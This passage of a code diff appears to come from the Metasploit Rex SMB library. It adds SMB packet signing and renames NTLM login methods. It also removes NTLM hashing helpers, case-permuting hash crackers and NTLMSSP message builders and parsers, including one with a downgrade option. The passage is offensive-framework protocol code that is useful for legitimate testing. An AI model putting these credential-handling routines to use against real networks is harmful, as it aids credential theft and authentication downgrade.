(ack['Payload']['SMB'].v['ErrorClass'] != 0) if (user.length == 0) - return self.session_setup_ntlmv1(user, pass, domain) + return self.session_setup_no_ntlmssp(user, pass, domain) end failure = XCEPT::ErrorCode.new @@ -869,7 +1083,7 @@ EVADE = Rex::Proto::SMB::Evasions # An exploit helper function for sending arbitrary SPNEGO blobs - def session_setup_ntlmv2_blob(blob = '', do_recv = true) + def session_setup_with_ntlmssp_blob(blob = '', do_recv = true) native_data = '' native_data << self.native_os + "\x00" native_data << self.native_lm + "\x00" @@ -898,14 +1112,14 @@ EVADE = Rex::Proto::SMB::Evasions end - # Authenticate using extended security negotiation (NTLMv2), but stop half-way, using the temporary ID - def session_setup_ntlmv2_temp(domain = '', name = nil, do_recv = true) + # Authenticate using extended security negotiation (NTLMSSP), but stop half-way, using the temporary ID + def session_setup_with_ntlmssp_temp(domain = '', name = nil, do_recv = true) if (name == nil) name = Rex::Text.rand_text_alphanumeric(16) end - blob = UTILS.make_ntlmv2_secblob_init(domain, name) + blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name) native_data = '' native_data << self.native_os + "\x00" @@ -934,7 +1148,7 @@ EVADE = Rex::Proto::SMB::Evasions # The server doesn't know about NTLM_NEGOTIATE, try ntlmv1 if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002) - return session_setup_ntlmv1(user, pass, domain) + return session_setup_no_ntlmssp(user, pass, domain) end # Make sure the error code tells us to continue processing @@ -981,7 +1195,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_CONNECT_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 4 pkt['Payload'].v['AndX'] = 255 pkt['Payload'].v['PasswordLen'] = pass.length + 1 @@ -1008,7 +1229,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TREE_DISCONNECT pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 0 pkt['Payload']['SMB'].v['TreeID'] = tree_id @@ -1037,7 +1265,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 24 pkt['Payload'].v['AndX'] = 255 @@ -1071,7 +1306,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_DELETE pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['TreeID'] = tree_id pkt['Payload']['SMB'].v['WordCount'] = 1 @@ -1095,7 +1337,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_OPEN_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 15 pkt['Payload'].v['AndX'] = 255 @@ -1125,7 +1374,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_CLOSE pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['TreeID'] = tree_id pkt['Payload']['SMB'].v['WordCount'] = 3 @@ -1140,10 +1396,8 @@ EVADE = Rex::Proto::SMB::Evasions return ack end - # Writes data to an open file handle def write(file_id = self.last_file_id, offset = 0, data = '', do_recv = true) - pkt = CONST::SMB_WRITE_PKT.make_struct self.smb_defaults(pkt['Payload']['SMB']) @@ -1153,7 +1407,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_WRITE_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2805 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 14 pkt['Payload'].v['AndX'] = 255 @@ -1184,7 +1445,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 10 pkt['Payload'].v['AndX'] = 255 @@ -1272,7 +1540,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count pkt['Payload'].v['ParamCountTotal'] = param.length @@ -1343,7 +1618,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count pkt['Payload'].v['ParamCountTotal'] = param.length @@ -1406,7 +1688,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count pkt['Payload'].v['ParamCountTotal'] = param.length @@ -1449,7 +1738,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count pkt['Payload'].v['ParamCountTotal'] = param.length @@ -1488,7 +1784,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 19 + setup_count pkt['Payload'].v['ParamCountTotal'] = param.length @@ -1526,7 +1829,14 @@ EVADE = Rex::Proto::SMB::Evasions pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY pkt['Payload']['SMB'].v['Flags1'] = 0x18 - pkt['Payload']['SMB'].v['Flags2'] = 0x2001 + if self.require_signing + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2807 + else + #ascii + pkt['Payload']['SMB'].v['Flags2'] = 0x2801 + end + pkt['Payload']['SMB'].v['WordCount'] = 18 pkt['Payload'].v['ParamCountTotal'] = param.length @@ -1757,7 +2067,8 @@ EVADE = Rex::Proto::SMB::Evasions # public read/write methods attr_accessor :native_os, :native_lm, :encrypt_passwords, :extended_security, :read_timeout, :evasion_opts - attr_accessor :system_time, :system_zone + attr_accessor :verify_signature, :use_ntlmv2, :usentlm2_session, :send_lm, :use_lanman_key, :send_ntlm + attr_accessor :system_time, :system_zone # public read methods attr_reader :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os @@ -1765,6 +2076,8 @@ EVADE = Rex::Proto::SMB::Evasions attr_reader :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id attr_reader :dns_host_name, :dns_domain_name attr_reader :security_mode, :server_guid + #signing related + attr_reader :sequence_counter,:signing_key, :require_signing # private methods attr_writer :dialect, :session_id, :challenge_key, :peer_native_lm, :peer_native_os @@ -1772,6 +2085,8 @@ EVADE = Rex::Proto::SMB::Evasions attr_writer :dns_host_name, :dns_domain_name attr_writer :multiplex_id, :last_tree_id, :last_file_id, :process_id, :last_search_id attr_writer :security_mode, :server_guid + #signing related + attr_writer :sequence_counter,:signing_key, :require_signing attr_accessor :socket diff --git a/lib/rex/proto/smb/client.rb.ut.rb b/lib/rex/proto/smb/client.rb.ut.rb index d160ee8095..cdfde5ca0c 100644 --- a/lib/rex/proto/smb/client.rb.ut.rb +++ b/lib/rex/proto/smb/client.rb.ut.rb @@ -50,7 +50,7 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase assert_kind_of(Rex::Struct2::CStruct, ok) # puts "[*] Authenticating with NTLMv2..." - ok = c.session_setup_ntlmv2($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS) + ok = c.session_setup_with_ntlmssp($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS) assert_kind_of(Rex::Struct2::CStruct, ok) assert_not_equal(c.auth_user_id, 0) @@ -122,7 +122,7 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase assert_kind_of(Rex::Struct2::CStruct, ok) # puts "[*] Authenticating with NTLMv2..." - ok = c.session_setup_ntlmv2($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS) + ok = c.session_setup_with_ntlmssp($_REX_TEXT_SMB_USER, $_REX_TEXT_SMB_PASS) assert_kind_of(Rex::Struct2::CStruct, ok) assert_not_equal(c.auth_user_id, 0) @@ -171,11 +171,11 @@ class Rex::Proto::SMB::Client::UnitTest < Test::Unit::TestCase assert_kind_of(Rex::Struct2::CStruct, ok) # puts "[*] Authenticating with NTLMv2..." - ok = c.session_setup_ntlmv2 + ok = c.session_setup_with_ntlmssp assert_kind_of(Rex::Struct2::CStruct, ok) # puts "[*] Authenticating with NTLMv1..." - ok = c.session_setup_ntlmv1 + ok = c.session_setup_no_ntlmssp assert_kind_of(Rex::Struct2::CStruct, ok) # puts "[*] Authenticating with clear text passwords..." diff --git a/lib/rex/proto/smb/constants.rb b/lib/rex/proto/smb/constants.rb index bf5a4ae3d8..06e84b8683 100644 --- a/lib/rex/proto/smb/constants.rb +++ b/lib/rex/proto/smb/constants.rb @@ -102,10 +102,7 @@ SMB2_OP_GETINFO = 0x10 SMB2_OP_SETINFO = 0x11 SMB2_OP_BREAK = 0x12 -# NTLM Response Type -NTLM_V1_RESPONSE = 1 -NTLM_V2_RESPONSE = 2 -NTLM_2_SESSION_RESPONSE = 3 + # SMB_COM_NT_TRANSACT Subcommands NT_TRANSACT_CREATE = 1 # File open/create NT_TRANSACT_IOCTL = 2 # Device IOCTL @@ -1042,27 +1039,6 @@ SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new( ) SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT) -# NTLMSSP Message Flags -NEGOTIATE_UNICODE = 0x00000001 # Only set if Type 1 contains it - this or oem, not both -NEGOTIATE_OEM = 0x00000002 # Only set if Type 1 contains it - this or unicode, not both -REQUEST_TARGET = 0x00000004 # If set in Type 1, must return domain or server -NEGOTIATE_SIGN = 0x00000010 # Session signature required -NEGOTIATE_SEAL = 0x00000020 # Session seal required -NEGOTIATE_LMKEY = 0x00000080 # LM Session Key should be used for signing and sealing -NEGOTIATE_NTLM = 0x00000200 # NTLM auth is supported -NEGOTIATE_ANONYMOUS = 0x00000800 # Anonymous context used -NEGOTIATE_DOMAIN = 0x00001000 # Sent in Type1, client gives domain info -NEGOTIATE_WORKSTATION = 0x00002000 # Sent in Type1, client gives workstation info -NEGOTIATE_LOCAL_CALL = 0x00004000 # Server and client are on same machine -NEGOTIATE_ALWAYS_SIGN = 0x00008000 # Add signatures to packets -TARGET_TYPE_DOMAIN = 0x00010000 # If REQUEST_TARGET, we're adding the domain name -TARGET_TYPE_SERVER = 0x00020000 # If REQUEST_TARGET, we're adding the server name -TARGET_TYPE_SHARE = 0x00040000 # Supposed to denote "a share" but for a webserver? -NEGOTIATE_NTLM2_KEY = 0x00080000 # NTLMv2 Signature and Key exchanges -NEGOTIATE_TARGET_INFO = 0x00800000 # Server set when sending Target Information Block -NEGOTIATE_128 = 0x20000000 # 128-bit encryption supported -NEGOTIATE_KEY_EXCH = 0x40000000 # Client will supply encrypted master key in Session Key field of Type3 msg -NEGOTIATE_56 = 0x80000000 # 56-bit encryption supported end end diff --git a/lib/rex/proto/smb/crypt.rb b/lib/rex/proto/smb/crypt.rb index 9d28655be5..da935f29b9 100644 --- a/lib/rex/proto/smb/crypt.rb +++ b/lib/rex/proto/smb/crypt.rb @@ -15,76 +15,23 @@ class Crypt begin - def self.lanman_des(pass, chal) - e_p24( [ e_p16( [ pass.upcase()[0,14] ].pack('a14') ) ].pack('a21'), chal) + #return a smb packet signed + def self.sign_smb_packet(mackey, sequence_counter, data) + seq = Rex::Text::pack_int64le(sequence_counter) + netbios_hdr = data.slice!(0,4) + data[14,8] = seq + signature = OpenSSL::Digest::MD5.digest(mackey + data)[0,8] + data[14,8] = signature + netbios_hdr + data end - def self.e_p16(pass) - stat = "\x4b\x47\x53\x21\x40\x23\x24\x25" - des_hash(stat, pass[0,7]) << des_hash(stat, pass[7,7]) + def self.is_signature_correct?(mackey, sequence_counter, data) + signature1 = data[18,8] + signature2 = sign_smb_packet(mackey, sequence_counter, data.dup)[18,8] + return signature1 == signature2 end - def self.e_p24(pass, chal) - des_hash(chal, pass[0,7]) << des_hash(chal, pass[7,7]) << des_hash(chal, pass[14,7]) - end - - def self.des_hash(data, ckey) - raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl - cipher = OpenSSL::Cipher::Cipher.new('des-ecb') - cipher.encrypt - cipher.key = des_56_to_64(ckey) - cipher.update(data) - end - - def self.des_56_to_64(ckey56s) - ckey64 = [] - ckey56 = ckey56s.unpack('C*') - ckey64[0] = ckey56[0] - ckey64[1] = ((ckey56[0] << 7) & 0xFF) | (ckey56[1] >> 1) - ckey64[2] = ((ckey56[1] << 6) & 0xFF) | (ckey56[2] >> 2) - ckey64[3] = ((ckey56[2] << 5) & 0xFF) | (ckey56[3] >> 3) - ckey64[4] = ((ckey56[3] << 4) & 0xFF) | (ckey56[4] >> 4) - ckey64[5] = ((ckey56[4] << 3) & 0xFF) | (ckey56[5] >> 5) - ckey64[6] = ((ckey56[5] << 2) & 0xFF) | (ckey56[6] >> 6) - ckey64[7] = (ckey56[6] << 1) & 0xFF - ckey64.pack('C*') - end - - def self.ntlm_md4(pass, chal) - e_p24( [ md4_hash(Rex::Text.to_unicode(pass)) ].pack('a21'), chal) - end - def self.md4_hash(data) - raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl - digest = OpenSSL::Digest::MD4.digest(data) - end - - def self.md5_hash(data) - raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl - digest = OpenSSL::Digest::MD5.digest(data) - end - - def self.lm2nt(pass, ntlm) - res = nil - Rex::Text.permute_case( pass.upcase ).each do |word| - if(md4_hash(Rex::Text.to_unicode(word)) == ntlm) - res = word - break - end - end - res - end - - def self.lmchal2ntchal(pass, ntlm, challenge) - res = nil - Rex::Text.permute_case( pass.upcase ).each do |word| - if(ntlm_md4(word,challenge) == ntlm) - res = word - break - end - end - res - end rescue LoadError end diff --git a/lib/rex/proto/smb/crypt.rb.ut.rb b/lib/rex/proto/smb/crypt.rb.ut.rb deleted file mode 100644 index 7f74279d8e..0000000000 --- a/lib/rex/proto/smb/crypt.rb.ut.rb +++ /dev/null @@ -1,20 +0,0 @@ -#!/usr/bin/env ruby - -$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..')) - -require 'rex/test' -require 'rex/proto/smb/crypt' - -class Rex::Proto::SMB::Crypt::UnitTest < Test::Unit::TestCase - - Klass = Rex::Proto::SMB::Crypt - - def test_parse - - pass = "XXXXXXX" - chal = "Z" * 8 - - assert_equal("\xc2\x48\xcf\x61\x65\xfe\x55\xef\xac\xa0\x30\x09\x66\xdc\x37\x96\x04\x6b\x9c\x0b\xb4\xa5\x2e\x27", Klass.lanman_des(pass, chal), 'lanman_des') - assert_equal("\x8d\x04\x18\x58\xf0\x78\xcc\xfa\x15\x60\xa4\x61\x76\x90\xe5\x51\x84\xfd\x70\xec\x7f\x23\xb7\xf9", Klass.ntlm_md4(pass, chal), 'ntlm_md4') - end -end \ No newline at end of file diff --git a/lib/rex/proto/smb/exceptions.rb b/lib/rex/proto/smb/exceptions.rb index fc8f560717..07552a342f 100644 --- a/lib/rex/proto/smb/exceptions.rb +++ b/lib/rex/proto/smb/exceptions.rb @@ -829,6 +829,18 @@ class NTLM2MissingChallenge < Error end end +class SigningError < Error + def to_s + "Unable to handle signing in this situation" + end +end + +class IncorrectSigningError < Error + def to_s + "The signature sent by the server is not correct" + end +end + class SimpleClientError < Error attr_accessor :source, :fatal end diff --git a/lib/rex/proto/smb/simpleclient.rb b/lib/rex/proto/smb/simpleclient.rb index a7b80d5f76..04a4047ce1 100644 --- a/lib/rex/proto/smb/simpleclient.rb +++ b/lib/rex/proto/smb/simpleclient.rb @@ -179,14 +179,24 @@ attr_accessor :socket, :client, :direct, :shares, :last_share self.shares = { } end - def login(name = '', user = '', pass = '', domain = '') + def login( name = '', user = '', pass = '', domain = '', + verify_signature = false, usentlmv2 = false, usentlm2_session = true, + send_lm = true, use_lanman_key = false, send_ntlm = true, + native_os = 'Windows 2000 2195', native_lm = 'Windows 2000 5.0') begin if (self.direct != true) self.client.session_request(name) end - + self.client.native_os = native_os + self.client.native_lm = native_lm + self.client.verify_signature = verify_signature + self.client.use_ntlmv2 = usentlmv2 + self.client.usentlm2_session = usentlm2_session + self.client.send_lm = send_lm + self.client.use_lanman_key = use_lanman_key + self.client.send_ntlm = send_ntlm self.client.negotiate ok = self.client.session_setup(user, pass, domain) rescue ::Interrupt @@ -233,7 +243,7 @@ attr_accessor :socket, :client, :direct, :shares, :last_share def login_split_next_ntlm1(user, domain, hash_lm, hash_nt) begin - ok = self.client.session_setup_ntlmv1_prehash(user, domain, hash_lm, hash_nt) + ok = self.client.session_setup_no_ntlmssp_prehash(user, domain, hash_lm, hash_nt) rescue ::Interrupt raise $! rescue ::Exception => e @@ -261,14 +271,16 @@ attr_accessor :socket, :client, :direct, :shares, :last_share self.shares.delete(share) end - def open(path, perm) + + def open(path, perm, chunk_size = 48000) mode = UTILS.open_mode_to_mode(perm) access = UTILS.open_mode_to_access(perm) ok = self.client.open(path, mode, access) file_id = ok['Payload'].v['FileID'] - fh = OpenFile.new(self.client, path, self.client.last_tree_id, file_id) + fh.chunk_size = chunk_size + fh end def delete(*args) diff --git a/lib/rex/proto/smb/utils.rb b/lib/rex/proto/smb/utils.rb index 8ce7c76667..c4597c05a4 100644 --- a/lib/rex/proto/smb/utils.rb +++ b/lib/rex/proto/smb/utils.rb @@ -96,505 +96,7 @@ CONST = Rex::Proto::SMB::Constants return decoded end - # - # Prepends an ASN1 formatted length field to a piece of data - # - def self.asn1encode(str = '') - res = '' - # If the high bit of the first byte is 1, it contains the number of - # length bytes that follow - - case str.length - when 0 .. 0x7F - res = [str.length].pack('C') + str - when 0x80 .. 0xFF - res = [0x81, str.length].pack('CC') + str - when 0x100 .. 0xFFFF - res = [0x82, str.length].pack('Cn') + str - when 0x10000 .. 0xffffff - res = [0x83, str.length >> 16, str.length & 0xFFFF].pack('CCn') + str - when 0x1000000 .. 0xffffffff - res = [0x84, str.length].pack('CN') + str - else - raise "ASN1 str too long" - end - return res - end - - def self.make_ntlmv2_secblob_init(domain = 'WORKGROUP', name = 'WORKSTATION', flags=0x80201) - blob = - "\x60" + self.asn1encode( - "\x06" + self.asn1encode( - "\x2b\x06\x01\x05\x05\x02" - ) + - "\xa0" + self.asn1encode( - "\x30" + self.asn1encode( - "\xa0" + self.asn1encode( - "\x30" + self.asn1encode( - "\x06" + self.asn1encode( - "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" - ) - ) - ) + - "\xa2" + self.asn1encode( - "\x04" + self.asn1encode( - "NTLMSSP\x00" + - [1, flags].pack('VV') + - - [ - domain.length, #length - domain.length, #max length - 32 - ].pack('vvV') + - - [ - name.length, #length - name.length, #max length - domain.length + 32 - ].pack('vvV') + - - domain + name - ) - ) - ) - ) - ) - - return blob - end - - - def self.make_ntlmv2_secblob_auth(domain, name, user, lmv2, ntlm, flags = 0x080201) - - lmv2 ||= "\x00" * 24 - ntlm ||= "\x00" * 24 - - domain_uni = Rex::Text.to_unicode(domain) - user_uni = Rex::Text.to_unicode(user) - name_uni = Rex::Text.to_unicode(name) - session = '' - - ptr = 64 - blob = - "\xa1" + self.asn1encode( - "\x30" + self.asn1encode( - "\xa2" + self.asn1encode( - "\x04" + self.asn1encode( - - "NTLMSSP\x00" + - [ 3 ].pack('V') + - - [ # Lan Manager Response - lmv2.length, - lmv2.length, - (ptr) - ].pack('vvV') + - - [ # NTLM Manager Response - ntlm.length, - ntlm.length, - (ptr += lmv2.length) - ].pack('vvV') + - - [ # Domain Name - domain_uni.length, - domain_uni.length, - (ptr += ntlm.length) - ].pack('vvV') + - - [ # Username - user_uni.length, - user_uni.length, - (ptr += domain_uni.length) - ].pack('vvV') + - - [ # Hostname - name_uni.length, - name_uni.length, - (ptr += user_uni.length) - ].pack('vvV') + - - [ # Session Key (none) - session.length, - session.length, - (ptr += name_uni.length) - ].pack('vvV') + - - [ flags ].pack('V') + - - lmv2 + - ntlm + - domain_uni + - user_uni + - name_uni + - session + "\x00" - ) - ) - ) - ) - return blob - end - #This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind : - #mechTypes: 2 items : - # -MechType: 1.3.6.1.4.1.311.2.2.30 (SNMPv2-SMI::enterprises.311.2.2.30) - # -MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider) - # - #this is the default on Win7 - def self.make_simple_negotiate_secblob_resp - blob = - "\x60" + self.asn1encode( - "\x06" + self.asn1encode( - "\x2b\x06\x01\x05\x05\x02" - ) + - "\xa0" + self.asn1encode( - "\x30" + self.asn1encode( - "\xa0" + self.asn1encode( - "\x30" + self.asn1encode( - "\x06" + self.asn1encode( - "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" - ) - ) - ) - ) - ) - ) - - return blob - end - - #This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind : - #mechTypes: 4 items : - # MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5) - # MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5) - # MechType: 1.2.840.113554.1.2.2.3 (KRB5 - Kerberos 5 - User to User) - # MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider) - #mechListMIC: - # principal: account@domain - def self.make_negotiate_secblob_resp(account, domain) - blob = - "\x60" + self.asn1encode( - "\x06" + self.asn1encode( - "\x2b\x06\x01\x05\x05\x02" - ) + - "\xa0" + self.asn1encode( - "\x30" + self.asn1encode( - "\xa0" + self.asn1encode( - "\x30" + self.asn1encode( - "\x06" + self.asn1encode( - "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02" - ) + - "\x06" + self.asn1encode( - "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02" - ) + - "\x06" + self.asn1encode( - "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03" - ) + - "\x06" + self.asn1encode( - "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" - ) - ) - ) + - "\xa3" + self.asn1encode( - "\x30" + self.asn1encode( - "\xa0" + self.asn1encode( - "\x1b" + self.asn1encode( - account + '@' + domain - ) - ) - ) - ) - ) - ) - ) - - return blob - end - - def self.make_ntlmv2_secblob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags) - - blob = - "\xa1" + self.asn1encode( - "\x30" + self.asn1encode( - "\xa0" + self.asn1encode( - "\x0a" + self.asn1encode( - "\x01" - ) - ) + - "\xa1" + self.asn1encode( - "\x06" + self.asn1encode( - "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" - ) - ) + - "\xa2" + self.asn1encode( - "\x04" + self.asn1encode( - make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags) - ) - ) - ) - ) - - return blob - end - - def self.make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags) - - addr_list = '' - addr_list << [2, win_domain.length].pack('vv') + win_domain - addr_list << [1, win_name.length].pack('vv') + win_name - addr_list << [4, dns_domain.length].pack('vv') + dns_domain - addr_list << [3, dns_name.length].pack('vv') + dns_name - addr_list << [0, 0].pack('vv') - - ptr = 0 - blob = "NTLMSSP\x00" + - [2].pack('V') + - [ - win_domain.length, # length - win_domain.length, # max length - (ptr += 48) # offset - ].pack('vvV') + - [ flags ].pack('V') + - chall + - "\x00\x00\x00\x00\x00\x00\x00\x00" + - [ - addr_list.length, # length - addr_list.length, # max length - (ptr += win_domain.length) - ].pack('vvV') + - win_domain + - addr_list - return blob - end - - - - def self.make_ntlmv2_secblob_success - blob = - "\xa1" + self.asn1encode( - "\x30" + self.asn1encode( - "\xa0" + self.asn1encode( - "\x0a" + self.asn1encode( - "\x00" - ) - ) - ) - ) - return blob - end - - # - # Process Type 3 NTLM Message (in Base64) - # - # from http://www.innovation.ch/personal/ronald/ntlm.html - # - # struct { - # byte protocol[8]; // 'N', 'T', 'L', 'M', 'S', 'S', 'P', '\0' - # byte type; // 0x03 - # byte zero[3]; - # - # short lm_resp_len; // LanManager response length (always 0x18) - # short lm_resp_len; // LanManager response length (always 0x18) - # short lm_resp_off; // LanManager response offset - # byte zero[2]; - # - # short nt_resp_len; // NT response length (always 0x18) - # short nt_resp_len; // NT response length (always 0x18) - # short nt_resp_off; // NT response offset - # byte zero[2]; - # - # short dom_len; // domain string length - # short dom_len; // domain string length - # short dom_off; // domain string offset (always 0x40) - # byte zero[2]; - # - # short user_len; // username string length - # short user_len; // username string length - # short user_off; // username string offset - # byte zero[2]; - # - # short host_len; // host string length - # short host_len; // host string length - # short host_off; // host string offset - # byte zero[6]; - # - # short msg_len; // message length - # byte zero[2]; - # - # short flags; // 0x8201 - # byte zero[2]; - # - # byte dom[*]; // domain string (unicode UTF-16LE) - # byte user[*]; // username string (unicode UTF-16LE) - # byte host[*]; // host string (unicode UTF-16LE) - # byte lm_resp[*]; // LanManager response - # byte nt_resp[*]; // NT response - # } type_3_message - # - def self.process_type3_message(message) - decode = Rex::Text.decode_base64(message.strip) - type = decode[8,1].unpack("C").first - if (type == 3) - lm_len = decode[12,2].unpack("v").first - lm_offset = decode[16,2].unpack("v").first - lm = decode[lm_offset, lm_len].unpack("H*").first - - nt_len = decode[20,2].unpack("v").first - nt_offset = decode[24,2].unpack("v").first - nt = decode[nt_offset, nt_len].unpack("H*").first - - dom_len = decode[28,2].unpack("v").first - dom_offset = decode[32,2].unpack("v").first - domain = decode[dom_offset, dom_len] - - user_len = decode[36,2].unpack("v").first - user_offset = decode[40,2].unpack("v").first - user = decode[user_offset, user_len] - - host_len = decode[44,2].unpack("v").first - host_offset = decode[48,2].unpack("v").first - host = decode[host_offset, host_len] - - return domain, user, host, lm, nt - else - return "", "", "", "", "" - end - end - - # - # Process Type 1 NTLM Messages, return a Base64 Type 2 Message - # - def self.process_type1_message(message, nonce = "\x11\x22\x33\x44\x55\x66\x77\x88", win_domain = 'DOMAIN', - win_name = 'SERVER', dns_name = 'server', dns_domain = 'example.com', downgrade = true) - - dns_name = Rex::Text.to_unicode(dns_name + "." 